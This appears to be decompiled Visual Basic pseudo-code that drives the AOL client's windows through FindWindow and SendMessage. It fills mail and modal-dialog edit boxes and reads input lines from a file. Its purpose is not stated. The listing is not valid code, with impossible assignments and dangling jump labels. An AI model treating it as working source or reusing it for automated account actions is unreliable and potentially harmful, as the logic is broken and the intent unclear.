  SendMessage(var_2C, 258, 13, 0)
  Exit Sub
End Sub

Public Sub MailOpenEmailSent
  var_40 = LCase(Me)
  var_78 = arg_C
  var_50 = LCase(arg_C)
  call InStr(var_60, edi, var_50, var_40, &h00000001, 0, Me, %x1 = LCase(%StkVar2))
  var_ret_1 = CLng(InStr(var_60, edi, var_50, var_40, &h00000001, 0, Me, %x1 = LCase(%StkVar2)))
  If var_ret_1 <= 0 Then GoTo loc_00479E3C
  var_ret_1 = var_ret_1 - &h00000001
  var_28 = Left(Me, var_ret_1)
  Len(arg_C) = Len(arg_C) + var_ret_1
  var_8C = Len(arg_C)
  If var_8C > 0 Then GoTo loc_00479DEF
  Len(Me) = Len(Me) - var_ret_1
  var_90 = Len(Me)
  var_90 = var_90 - Len(arg_C)
  var_1C = Right(Me, var_90 + &h00000001 + &h00000001)
  GoTo loc_00479E03
  var_1C = vbNullString
  var_18 = var_28 & arg_10 & var_1C
  GoTo loc_00479E41
  Len(arg_10) = Len(arg_10) + var_ret_1
  If Len(arg_10) <= 0 Then GoTo loc_00479EC7
  var_40 = LCase(Me)
  var_78 = arg_C
  var_50 = LCase(arg_C)
  call InStr(var_60, &h00000000, var_50, var_40, Len(arg_10))
  var_ret_2 = CLng(InStr(var_60, &h00000000, var_50, var_40, Len(arg_10)))
  If var_ret_2 >= 1 Then GoTo loc_00479D01
  var_2C = var_18
  GoTo loc_00479F13
  If var_4 = 0 Then GoTo loc_00479EF2
  Exit Sub
  Exit Sub
End Sub

Public Sub Proc_6_0_47D320
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, var_44)
  var_18 = FindWindow(var_ret_1, var_44)
  var_ret_2 = "MDIClient"
  FindWindowEx(var_18, 0, var_ret_2, 0)
  var_20 = FindWindowEx(var_18, 0, var_ret_2, 0)
  var_ret_3 = "AOL Child"
  FindWindowEx(var_20, 0, var_ret_3, 0)
  var_28 = FindWindowEx(var_20, 0, var_ret_3, 0)
  var_ret_4 = "_AOL_Combobox"
  FindWindowEx(var_28, 0, var_ret_4, 0)
  var_40 = FindWindowEx(var_28, 0, var_ret_4, 0)
  var_ret_5 = "_AOL_Edit"
  FindWindowEx(var_28, 0, var_ret_5, 0)
  SendMessage(var_40, 326, 0, var_6C)
  SendMessage(var_40, 334, CLng(SendMessage(var_40, 326, 0, 0) - 1), 0)
  var_44 = vbNullString
  var_ret_8 = var_44
  SendMessage(FindWindowEx(var_28, 0, var_ret_5, 0), 12, 0, var_48)
  SendMessage(var_40, 258, 13, 0)
  var_ret_9 = "_AOL_Modal"
  FindWindow(var_ret_9, 0)
  var_2C = FindWindow(var_ret_9, 0)
  var_ret_A = "_AOL_Edit"
  FindWindowEx(var_2C, 0, var_ret_A, 0)
  var_1C = FindWindowEx(var_2C, 0, var_ret_A, 0)
  var_ret_B = "_AOL_Edit"
  FindWindowEx(var_2C, var_1C, var_ret_B, 0)
  var_24 = FindWindowEx(var_2C, var_1C, var_ret_B, 0)
  var_ret_C = "AOL Frame25"
  FindWindow(var_ret_C, 0)
  var_6C = FindWindow(var_ret_C, 0)
  IsWindowVisible(var_40)
  var_6C = IsWindowVisible(var_40)
  If var_6C <> 0 Then GoTo loc_0047D5D4
  If var_1C = 0 Then GoTo loc_0047D50F
  If var_24 = 0 Then GoTo loc_0047D50F
  If var_1C = 0 Then GoTo loc_0047D65A
  If var_24 = 0 Then GoTo loc_0047D65A
  SendMessage(var_1C, 12, 0, Me)
  var_ret_E = var_44
  SendMessage(var_24, 12, 0, arg_C)
  var_ret_10 = var_44
  SendMessage(var_24, 258, 13, 0)
  Exit Sub
End Sub

Public Sub Proc_6_1_47D6A0
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, var_28)
  var_ret_2 = "MDIClient"
  FindWindowEx(FindWindow(var_ret_1, var_28), 0, var_ret_2, 0)
  var_2C = FindWindowEx(var_2C, 0, var_ret_2, 0)
  var_1C = var_2C
  var_ret_3 = "AOL Child"
  FindWindowEx(var_2C, 0, var_ret_3, 0)
  var_ret_4 = "AOL Child"
  FindWindowEx(var_1C, FindWindowEx(FindWindowEx(var_2C, 0, var_ret_3, 0), 0, var_ret_3, 0), var_ret_4, 0)
  var_24 = FindWindowEx(var_1C, var_24, var_ret_4, 0)
  call MailCountOld(var_24, 1, var_24 = "")
  esi = InStr(FindWindowEx(var_1C, var_24, var_ret_4, 0), GetLastError, "Welcome", 0) - 1
  If InStr(FindWindowEx(var_1C, var_24, var_ret_4, 0) <> 0 Then GoTo loc_0047D751
  call MailCountOld(var_24, 1, var_ret_5 = #StkVar1%StkVar2)
  var_18 = InStr(, var_ret_5, "Welcome", 0)
  Exit Sub
End Sub

Public Sub Proc_6_2_47D850
  var_BC = eax.hDC
  var_BC = var_BC - 0001h
  var_A0 = var_BC
  For var_30 = "" To var_BC Step 1
  If var_30 = 0 Then GoTo loc_0047DBD4
  var_BC = eax.hDC
  var_B0 = var_BC
  For var_20 = var_30 + 1 To var_BC Step 1
  If var_110 = 0 Then GoTo loc_0047DBBB
  var_30 = CInt(var_34)
  var_30 = eax.CurrentY
  var_40 = var_34
  var_58 = Ucase(0)
  var_20 = CInt(var_38)
  var_20 = eax.CurrentY
  var_60 = var_38
  var_78 = Ucase(var_38)
  If (var_58 = var_78) = 0 Then GoTo loc_0047DB9C
  var_20 = CInt(0)
  var_20 = CInt((vtable))
  var_20 = CInt(arg_C)
  Next var_20
  GoTo loc_0047DA33
  Next var_30
  GoTo loc_0047D971
  Exit Sub
  Exit Sub
End Sub

Public Sub Proc_6_3_47DC70
  On Error Resume Next
  Open Me For Input As #1 Len = -1
  If EOF(1) <> 0 Then GoTo loc_0047DF16
  Line Input #1, var_30
  Line Input #1, var_40
  Line Input #1, var_50
  var_54 = var_30
  var_6C = (vtable)
  var_54 = var_40
  var_6C = (vtable)
  var_54 = var_50
  var_6C = (vtable)
  GoTo loc_0047DCDD
  Close #1
  Exit Sub
End Sub